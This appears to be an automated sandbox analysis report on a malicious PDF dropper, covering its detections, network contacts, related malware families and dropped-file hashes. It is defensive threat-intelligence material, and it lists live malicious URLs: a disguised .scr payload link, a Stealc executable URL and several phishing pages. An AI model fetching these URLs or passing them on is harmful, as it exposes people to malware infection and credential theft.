Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IDR-500000000.pdf	5%	ReversingLabs	Document-PDF.Dropper.Heuristic
IDR-500000000.pdf	7%	Virustotal		Browse

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
etehadshipping.com	4%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz)	0%	Avira URL Cloud	safe
https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz	0%	Avira URL Cloud	safe
https://www.adobe.co	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
www.google.com	172.217.18.100	true	false	0%, Virustotal, Browse	unknown
etehadshipping.com	5.144.130.41	true	false	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.adobe.co	ReaderMessages.0.dr	false	Avira URL Cloud: safe	unknown
https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz)	IDR-500000000.pdf	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
5.144.130.41	etehadshipping.com	Iran (ISLAMIC Republic Of)	59441	HOSTIRAN-NETWORKIR	false
23.47.168.24	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.207.85.246	unknown	United States	14618	AMAZON-AESUS	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.7
192.168.2.9
192.168.2.23

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1505478
Start date and time:	2024-09-06 09:52:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	IDR-500000000.pdf
Detection:	MAL
Classification:	mal52.winPDF@47/55@6/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, VSSVC.exe, svchost.exe, UsoClient.exe
Excluded IPs from analysis (whitelisted): 40.126.32.136, 20.190.160.22, 20.190.160.20, 20.190.160.14, 40.126.32.138, 40.126.32.74, 40.126.32.134, 40.126.32.76, 184.28.88.176, 54.227.187.23, 23.22.254.206, 52.202.204.11, 52.5.13.197, 162.159.61.3, 172.64.41.3, 2.16.202.123, 95.101.54.195, 199.232.210.172, 2.19.126.149, 2.19.126.143, 192.229.221.95, 142.250.184.227, 142.250.185.174, 64.233.184.84, 34.104.35.123, 216.58.206.42, 142.250.186.138, 216.58.212.138, 142.250.185.74, 142.250.185.106, 142.250.186.42, 172.217.18.10, 216.58.206.74, 142.250.74.202, 142.250.186.170, 172.217.16.202, 142.250.186.106, 216.58.212.170, 142.250.185.138, 172.217.18.106, 142.250.184.202, 216.58.206.35, 142.250.184.206
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, a1952.dscq.akamai.net, clients2.google.com, ocsp.digicert.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, apps.identrust.com, wu-b-net.trafficmanager.net, optimizationguide-pa.googleapis.com, www.bing.com, clients1.google.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, identrust.edgesuite.net, accounts.google.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, self.events.data.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, settings-win.data.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com, geo2.adobe.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:53:48	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
08:53:32	Task Scheduler	Run new task: {E4322AB1-582F-4443-A363-EA19330800E0} path: .

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
5.144.130.41	DOCUMENTS.vbs	Get hash	malicious	AgentTesla	Browse
5.144.130.41	Payment-Details.scr.exe	Get hash	malicious	AgentTesla	Browse
23.47.168.24	Rechnung.pdf	Get hash	malicious	Unknown	Browse
	Keyser & Mackay.pdf	Get hash	malicious	Unknown	Browse
	LETTER ATTACHED.pdf	Get hash	malicious	HTMLPhisher	Browse
	Kilcoy Global Foods Notification.pdf	Get hash	malicious	Unknown	Browse
	Q3 CONTRACT.pdf	Get hash	malicious	Unknown	Browse
	Rockwool group_SKM_C590368369060_417161.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse
	UP6zzl3dMd.msi	Get hash	malicious	Unknown	Browse
	https://eu-files.jotform.com/jufs/Balciunas/form_files/mayeri.66cdabd2a5f975.43943309.pdf?md5=MSrOXntTEwGBrCuETzXGIw&expires=1724764002	Get hash	malicious	Unknown	Browse
	Mary Fleming-bonus benefit and retirement plans.pdf	Get hash	malicious	HTMLPhisher	Browse
	1.exe	Get hash	malicious	Unknown	Browse
239.255.255.250	http://seoattal.hosted.phplist.com/lists/lt.php?tid=fU9RVwRXBQ1dUE9QVVcFSQQDVFEVAAUABBRSUFtRUwEAAAFaUVNNAl1XU1JRVlFJAgMEXhVWUlMDFAVXAAAfVQcEUFZWBABQXAJRHgUGB1EEUVJeFVBSAlMUUAELUB8FVlcFTlFQBQdUAFNWAVYGBw	Get hash	malicious	Unknown	Browse
	https://dl.dropboxusercontent.com/scl/fi/vkqr9mbz83lcdol6vui87/DKM-991809-PDF.zip?rlkey=jp9ltq9urj994wf0gc2dbtsi1&st=2ozy3g4j&dl=0	Get hash	malicious	Unknown	Browse
	709827261526152615.exe	Get hash	malicious	FormBook	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	http://cache.cloudswiftcdn.com	Get hash	malicious	Unknown	Browse
	http://cdn.staticfile.net/jquery.imagesloaded/3.1.8/imagesloaded.pkgd.min.js	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	https://u1404228.ct.sendgrid.net/ls/click?upn=u001.53NsXfgUBOeYzK87Mt8UmmFmJrZ7XUeaM2H1JJzIOlLD8XdRMGUjLjiETSkkNSOO1aPcOhsB-2B6p58337PPTvLBJHf93ZwdhKuc0pYJ3CCFhPzGYkRFXax0jGvIeRFmcP5G0BUyJ6YhdCuxj2rmKfEA3sfYg2UNxl72w1Me3oPfdrF6jbhGk315PA9TABMIUQaw-2BWiKWUThNlxL-2FiIJdoH5tiTQT-2Bm8o6f2DtPJqJqYyOmKsC6Z8r8BDMH-2BRyR0DPAbc1o4jsJAeLDJ31LwWjsFQYr3zFK5cIf8Mbd-2BRzOeXFDSMm6es3Y0fepvpPG5r7pfagssMFSYnyu8MHsVv5hRcIKJqjAZyLx1ckeV-2FaCznPfw8naJb82iSt3TNueNL1vH7DevWmKVRPxk4wZ5wzTJXKbWW9anlXuh-2BQXFzp8R8-2BdEEizEjCv3UcDuHMQ1pDH865wy4DUZnYMpZjJQJPawcQswhgRnWgvPzhIRyQE-2Bc-3DkIeO_CR4Iv1KReyG-2BUTiHEM2iSrmxUTGCd7nll-2F8pyW4fRHUIiL68JldL5hjEvlqIxpWk9hPYxNH8eo9VRHfVERALBwpMyAhjDc4FUwScFs2ucRUabaJ73tdO-2FPebairfMf4xwZ2dpDlmkqO5pmgc1gE0gGghSpi3dDGJNhz4YymAGUOPzRzAYltzk0Ba7IAVZeXH7Jn8rume2KIoU57-2Fl62ae-2FaTXSu1TIVQ6Migf-2F6NGXqO6vztNaikiQe23mzDzfi19JJ-2FVN5j6ZPVhD34lLHzKpdiifzixAZur7VZCR5Hc24MfYQGTYVbJWBIhMdpT2lgG-2Bg-2FTIWWIZlY-2Fzm-2BK3i-2F0Q-3D-3D	Get hash	malicious	Unknown	Browse
	http://31.41.244.9/nokia/lamp.exe	Get hash	malicious	Stealc	Browse
18.207.85.246	PO 55488220.pdf	Get hash	malicious	Unknown	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:US:6b473b2a-bd40-4154-8733-c1bbca42e1c1	Get hash	malicious	LummaC Stealer	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:d45888c7-1c94-44ce-be0c-a501f747fb8c	Get hash	malicious	LummaC Stealer	Browse
	OJO!!! No lo he abiertoFwd_ Message From 646___xbx2.eml	Get hash	malicious	Unknown	Browse
	San Xavier District of the Tohono O#U2019odham Nation.pdf	Get hash	malicious	Unknown	Browse
	Madisonwellsmedia546.pdf	Get hash	malicious	Unknown	Browse
	OneDriveInvoice73391.pdf	Get hash	malicious	Unknown	Browse
	GONZALES, ALFREDO 0012104586, 0010640472 b .pdf	Get hash	malicious	Unknown	Browse
	a.pdf	Get hash	malicious	Unknown	Browse
	Payment Notification Invoice 1011fdp.pdf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
etehadshipping.com	DOCUMENTS.vbs	Get hash	malicious	AgentTesla	Browse	5.144.130.41
etehadshipping.com	Payment-Details.scr.exe	Get hash	malicious	AgentTesla	Browse	5.144.130.41
bg.microsoft.map.fastly.net	PO#100600574.vbs	Get hash	malicious	GuLoader	Browse	199.232.210.172
	Richiesta-Ordine.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.210.172
	QUOTATION.vbs	Get hash	malicious	GuLoader, Remcos	Browse	199.232.214.172
	http://dappdefi-layer.com/	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://www.internal-checker.com/	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://loginnetflixleiojfioje.blogspot.com.cy/	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://icit.fr/tsrw	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://v70969.webmo.fr/auth-dk/de/login.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://geminiak.weebly.com/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://fdh.lil.mybluehost.me/login/	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTIRAN-NETWORKIR	DHL airwaybill # 6913321715 & BL Draft copy.exe	Get hash	malicious	FormBook	Browse	5.144.130.52
	p4LNUqyKZM.exe	Get hash	malicious	FormBook	Browse	5.144.130.52
	PO_987654345678.exe	Get hash	malicious	FormBook	Browse	5.144.130.52
	DOCUMENTS.vbs	Get hash	malicious	AgentTesla	Browse	5.144.130.41
	INV20240828.exe	Get hash	malicious	FormBook	Browse	5.144.130.52
	Payment-Details.scr.exe	Get hash	malicious	AgentTesla	Browse	5.144.130.41
	rDHL_PT563857935689275783656385FV-GDS3535353.bat	Get hash	malicious	FormBook, GuLoader	Browse	185.83.114.124
	rFV-452747284IN.bat	Get hash	malicious	FormBook, GuLoader	Browse	185.83.114.124
	Shipping Docs.rdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.144.130.49
	PAYMENT LIST.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.144.130.49
AKAMAI-ASUS	file.exe	Get hash	malicious	Unknown	Browse	23.57.90.169
	http://manta-network.de/	Get hash	malicious	Unknown	Browse	2.19.126.143
	RE_.msg	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27
	Complete with Docusign charmin.pdf	Get hash	malicious	Unknown	Browse	96.17.64.189
	Remittance_Advise_03092024.pdf	Get hash	malicious	HTMLPhisher	Browse	23.56.162.185
	https://emails.microsoft.com/dc/zSgS2A6q0riGfHtfc6vB4o2EDiQ6lN3O6qiMomONyUJ0HsQ2sZIsMh689GSSYbTLO3mCkWaodie4MAOslvNCWW_9a3plE0P-Ez0LQY78TZmDPHuwNSWhLFzTYMtoZfimsqDGDjfg-w-v-HUlOmaZvGFLFwxVF_4UkVJu8KOKwPs=/MTU3LUdRRS0zODIAAAGVXXQTXko_YJBSIbQm_RlsGLlFgr2A-kJcbF9EmGwaO1zI2Do4ydFFpnBfqgMZYQyQQ3e8Go8=	Get hash	malicious	HTMLPhisher	Browse	104.119.110.121
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	23.192.247.89
	AiRCO Mechanical.eml (52.3 KB).msg	Get hash	malicious	Unknown	Browse	104.78.188.188
	Jenny Baker-ln service Agreetment-##num##.pdf	Get hash	malicious	HTMLPhisher	Browse	23.56.162.185
	https://aka.ms/Betamdeanalyzer	Get hash	malicious	Unknown	Browse	2.22.34.124

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	All-in-one Calculation Tool.xlsm	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://bafkreih4ip5zjsxef3jbe32pyegreos33fovmx4546n5bglt5plmopvjiq.ipfs.dweb.link/	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
	https://onyxbusinesssolutions.co.za/ie/yoww6n/as5kb3lub3zaaxmtymcubmv0/	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://v70969.webmo.fr/auth-dk/de/login.php	Get hash	malicious	Unknown	Browse	23.206.229.209
	http://geminiak.weebly.com/	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://pub-8b553b2110994b549ea2c074400e9182.r2.dev/index.html	Get hash	malicious	Unknown	Browse	23.206.229.209
	http://usa-metsmk-loggie.webflow.io/	Get hash	malicious	Unknown	Browse	23.206.229.209
	http://mettamask--login.webflow.io/	Get hash	malicious	Unknown	Browse	23.206.229.209
	http://metamskwallet-visit.webflow.io/	Get hash	malicious	Unknown	Browse	23.206.229.209
	http://help-s-sso-metmeask.webflow.io/	Get hash	malicious	Unknown	Browse	23.206.229.209
28a2c9bd18a11de089ef85a160da29e4	http://seoattal.hosted.phplist.com/lists/lt.php?tid=fU9RVwRXBQ1dUE9QVVcFSQQDVFEVAAUABBRSUFtRUwEAAAFaUVNNAl1XU1JRVlFJAgMEXhVWUlMDFAVXAAAfVQcEUFZWBABQXAJRHgUGB1EEUVJeFVBSAlMUUAELUB8FVlcFTlFQBQdUAFNWAVYGBw	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	https://dl.dropboxusercontent.com/scl/fi/vkqr9mbz83lcdol6vui87/DKM-991809-PDF.zip?rlkey=jp9ltq9urj994wf0gc2dbtsi1&st=2ozy3g4j&dl=0	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	file.exe	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	http://cache.cloudswiftcdn.com	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	http://cdn.staticfile.net/jquery.imagesloaded/3.1.8/imagesloaded.pkgd.min.js	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	file.exe	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	file.exe	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	https://u1404228.ct.sendgrid.net/ls/click?upn=u001.53NsXfgUBOeYzK87Mt8UmmFmJrZ7XUeaM2H1JJzIOlLD8XdRMGUjLjiETSkkNSOO1aPcOhsB-2B6p58337PPTvLBJHf93ZwdhKuc0pYJ3CCFhPzGYkRFXax0jGvIeRFmcP5G0BUyJ6YhdCuxj2rmKfEA3sfYg2UNxl72w1Me3oPfdrF6jbhGk315PA9TABMIUQaw-2BWiKWUThNlxL-2FiIJdoH5tiTQT-2Bm8o6f2DtPJqJqYyOmKsC6Z8r8BDMH-2BRyR0DPAbc1o4jsJAeLDJ31LwWjsFQYr3zFK5cIf8Mbd-2BRzOeXFDSMm6es3Y0fepvpPG5r7pfagssMFSYnyu8MHsVv5hRcIKJqjAZyLx1ckeV-2FaCznPfw8naJb82iSt3TNueNL1vH7DevWmKVRPxk4wZ5wzTJXKbWW9anlXuh-2BQXFzp8R8-2BdEEizEjCv3UcDuHMQ1pDH865wy4DUZnYMpZjJQJPawcQswhgRnWgvPzhIRyQE-2Bc-3DkIeO_CR4Iv1KReyG-2BUTiHEM2iSrmxUTGCd7nll-2F8pyW4fRHUIiL68JldL5hjEvlqIxpWk9hPYxNH8eo9VRHfVERALBwpMyAhjDc4FUwScFs2ucRUabaJ73tdO-2FPebairfMf4xwZ2dpDlmkqO5pmgc1gE0gGghSpi3dDGJNhz4YymAGUOPzRzAYltzk0Ba7IAVZeXH7Jn8rume2KIoU57-2Fl62ae-2FaTXSu1TIVQ6Migf-2F6NGXqO6vztNaikiQe23mzDzfi19JJ-2FVN5j6ZPVhD34lLHzKpdiifzixAZur7VZCR5Hc24MfYQGTYVbJWBIhMdpT2lgG-2Bg-2FTIWWIZlY-2Fzm-2BK3i-2F0Q-3D-3D	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	http://31.41.244.9/nokia/lamp.exe	Get hash	malicious	Stealc	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
	All-in-one Calculation Tool.xlsm	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 20.73.194.208 4.231.128.59
a0e9f5d64349fb13191bc781f81f42e1	https://dl.dropboxusercontent.com/scl/fi/vkqr9mbz83lcdol6vui87/DKM-991809-PDF.zip?rlkey=jp9ltq9urj994wf0gc2dbtsi1&st=2ozy3g4j&dl=0	Get hash	malicious	Unknown	Browse	20.189.173.9
	PO#38595.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	20.189.173.9
	gobEmOm5sr.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	20.189.173.9
	All-in-one Calculation Tool.xlsm	Get hash	malicious	Unknown	Browse	20.189.173.9
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	20.189.173.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	20.189.173.9
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	20.189.173.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	20.189.173.9
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	20.189.173.9
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	20.189.173.9

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.214642881739844
Encrypted:	false
SSDEEP:	6:PhY4q2PqLTwi2nKuAl9OmbnIFUt82hXA53JZmw+2hXA53DkwOqLTwi2nKuAl9Omt:PhHv8wZHAahFUt82hQ5Z/+2hQ5z5TwZC
MD5:	73BFEC8B138F86E0DBF1A0A273DB66BC
SHA1:	5842815B175C80462A845846BE6EAD0E42F498FB
SHA-256:	A40F982A85E65D37E04D07224AB721A3C2F201FDC856E4C13E7BC29F207F1BF7
SHA-512:	8929BD9C9E81E5B91E09504C46262215E75D3D8FFCACC550EC4493865A7F2760594A938A08ECA97A8571B5AD78B6B1EBDFFF2EE93B31DEC3961D9D6CF22B9020
Malicious:	false
Reputation:	low
Preview:	2024/09/06-03:53:41.267 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/09/06-03:53:41.269 1ed0 Recovering log #3.2024/09/06-03:53:41.269 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.214642881739844
Encrypted:	false
SSDEEP:	6:PhY4q2PqLTwi2nKuAl9OmbnIFUt82hXA53JZmw+2hXA53DkwOqLTwi2nKuAl9Omt:PhHv8wZHAahFUt82hQ5Z/+2hQ5z5TwZC
MD5:	73BFEC8B138F86E0DBF1A0A273DB66BC
SHA1:	5842815B175C80462A845846BE6EAD0E42F498FB
SHA-256:	A40F982A85E65D37E04D07224AB721A3C2F201FDC856E4C13E7BC29F207F1BF7
SHA-512:	8929BD9C9E81E5B91E09504C46262215E75D3D8FFCACC550EC4493865A7F2760594A938A08ECA97A8571B5AD78B6B1EBDFFF2EE93B31DEC3961D9D6CF22B9020
Malicious:	false
Reputation:	low
Preview:	2024/09/06-03:53:41.267 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/09/06-03:53:41.269 1ed0 Recovering log #3.2024/09/06-03:53:41.269 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.21243049037178
Encrypted:	false
SSDEEP:	6:Ph7W+q2PqLTwi2nKuAl9Ombzo2jMGIFUt82hFsZmw+2hFsVkwOqLTwi2nKuAl9OU:Ph7W+v8wZHAa8uFUt82hFs/+2hFsV5Tn
MD5:	B93ABB0607F12663FE2BF7D112A5A8BF
SHA1:	346838A9B744E508CBB7F6362DF6D285C2278654
SHA-256:	6ECF43C623AA6FCD065FA4AE69EF4DB7BFDCAAD8DDD87353FF9642DDAB619DA9
SHA-512:	30451376C6A4F5A255B5156B645368A8FA9661ADE31AE91241B079E20DE2EE6C56E8FD023D4B26F94E992449A6E54E044E57784F26F8442CE3307D8EA07D3DBB
Malicious:	false
Reputation:	low
Preview:	2024/09/06-03:53:41.347 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/09/06-03:53:41.350 1f7c Recovering log #3.2024/09/06-03:53:41.350 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.21243049037178
Encrypted:	false
SSDEEP:	6:Ph7W+q2PqLTwi2nKuAl9Ombzo2jMGIFUt82hFsZmw+2hFsVkwOqLTwi2nKuAl9OU:Ph7W+v8wZHAa8uFUt82hFs/+2hFsV5Tn
MD5:	B93ABB0607F12663FE2BF7D112A5A8BF
SHA1:	346838A9B744E508CBB7F6362DF6D285C2278654
SHA-256:	6ECF43C623AA6FCD065FA4AE69EF4DB7BFDCAAD8DDD87353FF9642DDAB619DA9
SHA-512:	30451376C6A4F5A255B5156B645368A8FA9661ADE31AE91241B079E20DE2EE6C56E8FD023D4B26F94E992449A6E54E044E57784F26F8442CE3307D8EA07D3DBB
Malicious:	false
Reputation:	low
Preview:	2024/09/06-03:53:41.347 1f7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/09/06-03:53:41.350 1f7c Recovering log #3.2024/09/06-03:53:41.350 1f7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\874e6b73-6ec5-47a7-a9d7-20a42915e323.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.960864601022068
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqosBdOg2HRAcaq3QYiub5P7E4T3y:Y2sRds0dMHRr3QYhbt7nby
MD5:	72235FCB3C0938EEADB2C510189BD0FE
SHA1:	AA269489A8564E168F140771D0732202B043B991
SHA-256:	66F2FFBDA49B659C45BD29918BE168C1A6717B99F16E64E8F87A765F73E628FC
SHA-512:	882D78D19BEC136B2222D70BFFD5B0719A457711CC785B127244CA23574D8552E4326F8625FCC51C136F08756F51E1EC52143CC621B5B508FC380AA45975BB61
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13370169233341369","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":162171},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.960864601022068
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqosBdOg2HRAcaq3QYiub5P7E4T3y:Y2sRds0dMHRr3QYhbt7nby
MD5:	72235FCB3C0938EEADB2C510189BD0FE
SHA1:	AA269489A8564E168F140771D0732202B043B991
SHA-256:	66F2FFBDA49B659C45BD29918BE168C1A6717B99F16E64E8F87A765F73E628FC
SHA-512:	882D78D19BEC136B2222D70BFFD5B0719A457711CC785B127244CA23574D8552E4326F8625FCC51C136F08756F51E1EC52143CC621B5B508FC380AA45975BB61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13370169233341369","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":162171},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4288
Entropy (8bit):	5.215218812201437
Encrypted:	false
